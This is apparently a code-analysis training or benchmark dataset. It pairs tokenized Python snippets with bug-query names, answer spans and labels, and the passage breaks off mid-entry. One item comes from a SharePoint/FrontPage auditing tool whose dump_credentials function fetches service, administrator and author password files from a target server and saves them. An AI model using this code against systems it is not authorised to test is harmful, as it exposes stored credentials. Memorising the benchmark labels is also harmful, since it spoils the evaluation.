"\\u\\u\\uINDENT\\u\\u\\u ", " _", "status_", "=_", "req_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "status_", "in_", "(_", "\"", "runn", "ing", "\"_", ",_", "\"", "ok", "\"_", ",_", "\"", "error", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "status_", "!=_", "\"", "runn", "ing", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "assert", "Equals_", "(_", "\"", "ok", "\"_", ",_", "status_", ",_", "\"", "Conten", "ts", ":", " ", "\"_", "+_", "req_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reqs", "l_", "._", "remove_", "(_", "rid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Integrati", "on", "No", "Conc", "urr", "ency", "Test", "Case_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "async", "\\u", "response_", "(_", "self_", ",_", "reserva", "tion", "\\u", "id_", ",_", "req", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "\\u", "get", "\\u", "async", "\\u", "response", "(", "req", "ids", ")", "\\", "10", ";", " ", " ", " ", " ", "Help", "er", " ", "method", " ", "tha", "t", " ", "synchron", "ously", " ", "gets", " ", "the", " ", "response", " ", "for", " ", "the", " ", "specified", " ", "async", " ", "request", ",", " ", "assert", "ing", " ", "tha", "t", "\\", "10", ";", " ", " ", " ", " ", "it", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "req", "id", " ", "The", " ", "request", " ", "identifi", "er", " ", "for", " ", "the", " ", "async", " ", "request", " ", "who", "se", " ", "response", " ", "we", " ", "want", "\\", "10", ";", " ", " ", " ", " ", "@", "return", " ", "Respons", "e", " ", "to", " ", "the", " ", "request", ",", " ", "if", " ", "success", "ful", ".", " ", "Non", "e", ",", " ", "other", "wis", "e", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Wait", " ", "unti", "l", " ", "send", "\\u", "async", "\\u", "file", " ", "query", " ", "is", " ", "actual", "ly", " ", "finish", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "counter_", "=_", "15_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "max", "\\u", "counter_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "max", "\\u", "counter_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "\"", "Maxim", "um", " ", "times", " ", "runn", "ing", " ", "get", "\\u", "async", "\\u", "response", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "requests_", "=_", "self_", "._", "client_", "._", "check", "\\u", "async", "\\u", "command", "\\u", "status_", "(_", "reserva", "tion", "\\u", "id_", ",_", "(_", "req", "id_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "1_", ",_", "len_", "(_", "requests_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "req", "id_", "in_", "requests_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "requests_", "[_", "req", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "req_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "status_", "in_", "(_", "\"", "runn", "ing", "\"_", ",_", "\"", "ok", "\"_", ",_", "\"", "error", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "status_", "!=_", "\"", "runn", "ing", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "\"", "ok", "\"_", ",_", "status_", ",_", "\"", "Conten", "ts", ":", " ", "\"_", "+_", "req_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Command_", "._", "Command_", "(_", "req_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Redundant comparison
gferreira/hTools2/Lib/hTools2/extras/outline.py
[ { "content": "def checkInnerOuter(firstAngle, lastAngle):\n if firstAngle == None or lastAngle == None:\n return True\n dirAngle = degrees(firstAngle) - degrees(lastAngle)\n\n if dirAngle > 180:\n dirAngle = 180 - dirAngle\n elif dirAngle < -180:\n dirAngle= -180 - dirAngle\n\n if dirAngle > 0:\n return True\n\n if dirAngle <= 0:\n return False", "metadata": "root.checkInnerOuter", "header": "['module', '___EOS___']", "index": 40 } ]
[ { "span": "dirAngle <= 0:", "start_line": 53, "start_column": 7, "end_line": 53, "end_column": 20 } ]
[ { "span": "dirAngle > 0:", "start_line": 50, "start_column": 7, "end_line": 50, "end_column": 19 } ]
1
true
[ "[CLS]_", "Redu", "ndan", "t_", "comparison_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "In", "ner", "Out", "er_", "(_", "first", "Angle_", ",_", "last", "Angle_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "first", "Angle_", "==_", "None_", "or_", "last", "Angle_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dir", "Angle_", "=_", "degrees_", "(_", "first", "Angle_", ")_", "-_", "degrees_", "(_", "last", "Angle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "dir", "Angle_", ">_", "180_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dir", "Angle_", "=_", "180_", "-_", "dir", "Angle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "dir", "Angle_", "<_", "-_", "180_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dir", "Angle_", "=_", "-_", "180_", "-_", "dir", "Angle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "dir", "Angle_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "dir", "Angle_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2 ]
First parameter of a method is not named 'self'
grundprinzip/sublemacspro/jove.py
[ { "content": " def get(key, default = None):\n global_settings = sublime.load_settings('sublemacspro.sublime-settings')\n settings = sublime.active_window().active_view().settings()\n return settings.get(key, global_settings.get(key, default))", "metadata": "root.SettingsManager.get", "header": "['class', 'SettingsManager', ':', '___EOS___']", "index": 47 } ]
[ { "span": "def get(key, default = None):", "start_line": 47, "start_column": 4, "end_line": 47, "end_column": 33 } ]
[]
1
true
[ "[CLS]_", "First_", "parameter_", "of_", "a_", "method_", "is_", "not_", "named_", "'", "self", "'_", "[SEP]_", "class_", "Sett", "ings", "Manager_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get_", "(_", "key_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "global", "\\u", "settings_", "=_", "sublime_", "._", "load", "\\u", "settings_", "(_", "'", "subl", "ema", "csp", "ro", ".", "sublim", "e-", "settings", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "settings_", "=_", "sublime_", "._", "active", "\\u", "window_", "(_", ")_", "._", "active", "\\u", "view_", "(_", ")_", "._", "settings_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "settings_", "._", "get_", "(_", "key_", ",_", "global", "\\u", "settings_", "._", "get_", "(_", "key_", ",_", "default_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
miyosuda/async_deep_reinforce/a3c_display.py
[ { "content": "# -*- coding: utf-8 -*-\nimport tensorflow as tf\nimport numpy as np\nimport random\n\nfrom game_state import GameState\nfrom game_ac_network import GameACNetwork\nfrom a3c_training_thread import A3CTrainingThread\nfrom rmsprop_applier import RMSPropApplier\n\nfrom constants import ACTION_SIZE\nfrom constants import PARALLEL_SIZE\nfrom constants import CHECKPOINT_DIR\nfrom constants import RMSP_EPSILON\n\n\nglobal_network = GameACNetwork(ACTION_SIZE)\n\nlearning_rate_input = tf.placeholder(\"float\")\n\npolicy_applier = RMSPropApplier(learning_rate = learning_rate_input,\n decay = 0.99,\n momentum = 0.0,\n epsilon = RMSP_EPSILON )\n\nvalue_applier = RMSPropApplier(learning_rate = learning_rate_input,\n decay = 0.99,\n momentum = 0.0,\n epsilon = RMSP_EPSILON )\n\ntraining_threads = []\nfor i in range(PARALLEL_SIZE):\n training_thread = A3CTrainingThread(i, global_network, 1.0,\n learning_rate_input,\n policy_applier, value_applier,\n 8000000)\n training_threads.append(training_thread)\n\nsess = tf.Session()\ninit = tf.initialize_all_variables()\nsess.run(init)\n\nsaver = tf.train.Saver()\ncheckpoint = tf.train.get_checkpoint_state(CHECKPOINT_DIR)\nif checkpoint and checkpoint.model_checkpoint_path:\n saver.restore(sess, checkpoint.model_checkpoint_path)\n print \"checkpoint loaded:\", checkpoint.model_checkpoint_path\nelse:\n print \"Could not find old checkpoint\"\n\ngame_state = GameState(0, display=True)\n\nwhile True:\n pi_values = global_network.run_policy(sess, game_state.s_t)\n\n action = choose_action(pi_values)\n game_state.process(action)\n\n game_state.update()\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def choose_action(pi_values):\n values = []\n sum = 0.0\n for rate in pi_values:\n sum = sum + rate\n value = sum\n values.append(value)\n \n r = random.random() * sum\n for i in range(len(values)):\n if values[i] >= r:\n return i;\n #fail safe\n return len(values)-1", "metadata": "root.choose_action", "header": "['module', '___EOS___']", "index": 15 } ]
[ { "span": "import numpy as np", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 18 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "tensorflow_", "as_", "tf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "game", "\\u", "state_", "import_", "Game", "State_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "game", "\\u", "ac", "\\u", "network_", "import_", "Game", "AC", "Network_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "a3", "c\\u", "train", "ing", "\\u", "thread_", "import_", "A3", "CT", "rain", "ing", "Thread_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rms", "prop", "\\u", "appli", "er_", "import_", "RMS", "Prop", "Appl", "ier_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "constants_", "import_", "ACTI", "ON", "\\u", "SIZE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "constants_", "import_", "PARA", "LLE", "L", "\\u", "SIZE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "constants_", "import_", "CHECK", "POINT", "\\u", "DIR_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "constants_", "import_", "RMS", "P", "\\u", "EPS", "ILO", "N_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "global", "\\u", "network_", "=_", "Game", "AC", "Network_", "(_", "ACTI", "ON", "\\u", "SIZE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "learn", "ing", "\\u", "rate", "\\u", "input_", "=_", "tf_", "._", "placeholder_", "(_", "\"", "float", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "policy", "\\u", "appli", "er_", "=_", "RMS", "Prop", "Appl", "ier_", "(_", "learn", "ing", "\\u", "rate_", "=_", "learn", "ing", "\\u", "rate", "\\u", "input_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "decay_", "=_", "0.99_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "momentum_", "=_", "0.0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "epsilon_", "=_", "RMS", "P", "\\u", "EPS", "ILO", "N_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "value", "\\u", "appli", "er_", "=_", "RMS", "Prop", "Appl", "ier_", "(_", "learn", "ing", "\\u", "rate_", "=_", "learn", "ing", "\\u", "rate", "\\u", "input_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "decay_", "=_", "0.99_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "momentum_", "=_", "0.0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "epsilon_", "=_", "RMS", "P", "\\u", "EPS", "ILO", "N_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "train", "ing", "\\u", "threads_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "PARA", "LLE", "L", "\\u", "SIZE_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "train", "ing", "\\u", "thread_", "=_", "A3", "CT", "rain", "ing", "Thread_", "(_", "i_", ",_", "global", "\\u", "network_", ",_", "1.0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "learn", "ing", "\\u", "rate", "\\u", "input_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "policy", "\\u", "appli", "er_", ",_", "value", "\\u", "appli", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "8000000", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "train", "ing", "\\u", "threads_", "._", "append_", "(_", "train", "ing", "\\u", "thread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sess_", "=_", "tf_", "._", "Session_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init_", "=_", "tf_", "._", "initialize", "\\u", "all", "\\u", "variables_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sess_", "._", "run_", "(_", "init_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "saver_", "=_", "tf_", "._", "train_", "._", "Saver_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "checkpoint_", "=_", "tf_", "._", "train_", "._", "get", "\\u", "checkp", "oint", "\\u", "state_", "(_", "CHECK", "POINT", "\\u", "DIR_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "checkpoint_", "and_", "checkpoint_", "._", "model", "\\u", "checkp", "oint", "\\u", "path_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "saver_", "._", "restore_", "(_", "sess_", ",_", "checkpoint_", "._", "model", "\\u", "checkp", "oint", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "checkp", "oint", " ", "load", "ed", ":\"_", ",_", "checkpoint_", "._", "model", "\\u", "checkp", "oint", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Cou", "ld", " ", "not", " ", "find", " ", "old", " ", "checkp", "oint", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "game", "\\u", "state_", "=_", "Game", "State_", "(_", "0_", ",_", "display_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pi", "\\u", "values_", "=_", "global", "\\u", "network_", "._", "run", "\\u", "policy_", "(_", "sess_", ",_", "game", "\\u", "state_", "._", "s", "\\u", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "action_", "=_", "choose", "\\u", "action_", "(_", "pi", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "game", "\\u", "state_", "._", "process_", "(_", "action_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "game", "\\u", "state_", "._", "update_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "choose", "\\u", "action_", "(_", "pi", "\\u", "values_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sum_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "rate_", "in_", "pi", "\\u", "values_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sum_", "=_", "sum_", "+_", "rate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "sum_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "._", "append_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "r_", "=_", "random_", "._", "random_", "(_", ")_", "*_", "sum_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "values_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "values_", "[_", "i_", "]_", ">=_", "r_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "i_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "fail", " ", "safe_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "len_", "(_", "values_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Wrong number of arguments in a call
alias1/sparty/sparty_v_0.1.py
[ { "content": "def check_python():\n version = sys.version_info\n if version[:2] != (2,6):\n print \"[-] Sparty is written in Python 2.6.5 (final). Kindly use that version!\"\n print \"[devalias.net] !!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"\n print \"[devalias.net] !!! HERE THERE BE DRAGONS !!!\"\n print \"[devalias.net] !!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"\n unsupported_ver = raw_input(\"[devalias.net] Would you like to continue past this version check AT YOUR OWN RISK? (Type: YES): \")\n if unsupported_ver != \"YES\":\n print \"[devalias.net] Probably a safer choice. Exiting! (Entered: %s)\" %(unsupported_ver)\n sys.exit(0)", "metadata": "root.check_python", "header": "['module', '___EOS___']", "index": 92 }, { "content": "def banner():\n print \"\\t---------------------------------------------------------------\"\n sparty_banner = \"\"\"\n _|_|_| _|_|_| _|_| _|_|_| _|_|_|_|_| _| _|\n _| _| _| _| _| _| _| _| _| _|\n _|_| _|_|_| _|_|_|_| _|_|_| _| _|\n _| _| _| _| _| _| _| _|\n _|_|_| _| _| _| _| _| _| _|\n\n SPARTY : Sharepoint/Frontpage Security Auditing Tool!\n Authored by: Aditya K Sood |{0kn0ck}@secniche.org | 2013\n Twitter: @AdityaKSood\n Powered by: SecNiche Security Labs !\n \"\"\"\n print sparty_banner\n print \"\\t--------------------------------------------------------------\"", "metadata": "root.banner", "header": "['module', '___EOS___']", "index": 108 }, { "content": "def sparty_usage(destination):\n print \"[scanning access permissions in forms directory - sharepoint] %s -s forms -u %s \" %(sys.argv[0], destination)\n print \"[scanning access permissions in frontpage directory - frontpage] %s -f pvt -u %s \" %(sys.argv[0], destination)\n print \"[dumping passwords] %s -d dump -u %s \" %(sys.argv[0],destination)\n print \"[note] : please take this into consideration!\"\n print \"\\t\\t: (1) always specify https | http explcitly !\"\n print \"\\t\\t: (2) always provide the proper directory structure where sharepoint/frontpage is installed !\"\n print \"\\t\\t: (3) do not specify '/' at the end of url !\"", "metadata": "root.sparty_usage", "header": "['module', '___EOS___']", "index": 128 }, { "content": "def build_target(target, front_dirs=[],refine_target=[]):\n for item in front_dirs:\n refine_target.append(target+ \"/\"+ item)", "metadata": "root.build_target", "header": "['module', '___EOS___']", "index": 140 }, { "content": "def module_success(module_name):\n print \"\\n[+] check for HTTP codes (200) for active list of accessible files or directories! (404) - Not exists | (403) - Forbidden ! (500) - Server Error\"\n print \"\\n[+] (%s) - module executed successfully !\\n\" %module_name", "metadata": "root.module_success", "header": "['module', '___EOS___']", "index": 148 }, { "content": "def target_information(name):\n try:\n headers = urllib2.urlopen(name)\n print \"[+] fetching information from the given target : (%s)\" %(headers.geturl())\n print \"[+] target responded with HTTP code: (%s)\" %headers.getcode()\n print \"[+] target is running server: (%s)\" %headers.info()['server']\n\n except urllib2.HTTPError as h:\n print \"[-] url error occured - (%s)\" % h.code\n pass", "metadata": "root.target_information", "header": "['module', '___EOS___']", "index": 155 }, { "content": "def audit(target=[]):\n for element in target:\n try:\n handle = urllib2.urlopen(element)\n info = handle.info()\n response_code = handle.getcode()\n print \"[+] (%s) - (%d)\" %(element,response_code)\n\n except urllib2.HTTPError as h:\n print \"[-] (%s) - (%d)\" %(element,h.code)\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass", "metadata": "root.audit", "header": "['module', '___EOS___']", "index": 169 }, { "content": "def dump_credentials(dest):\n pwd_targets = []\n pwd_files = ['_vti_pvt/service.pwd','_vti_pvt/administrators.pwd','_vti_pvt/authors.pwd']\n\n for item in pwd_files:\n pwd_targets.append(dest + \"/\" + item)\n\n for entry in pwd_targets:\n try:\n handle = urllib2.urlopen(entry)\n if handle.getcode() == 200:\n print \"[+] dumping contents of file located at : (%s)\" %(entry)\n filename = \"__dump__.txt\"\n dump = open(filename, 'a')\n dump.write(handle.read())\n print handle.read()\n\n except urllib2.HTTPError as h:\n print \"[-] could not dump the file located at : (%s) | (%d)\" %(entry,h.code)\n continue\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n continue\n\n print \"[*] ---------------------------------------------------------------------------------------\"\n\n\n print \"[+] check the (%s) file if generated !\\n\" %(filename)", "metadata": "root.dump_credentials", "header": "['module', '___EOS___']", "index": 186 }, { "content": "def fingerprint_frontpage(name):\n enum_nix = 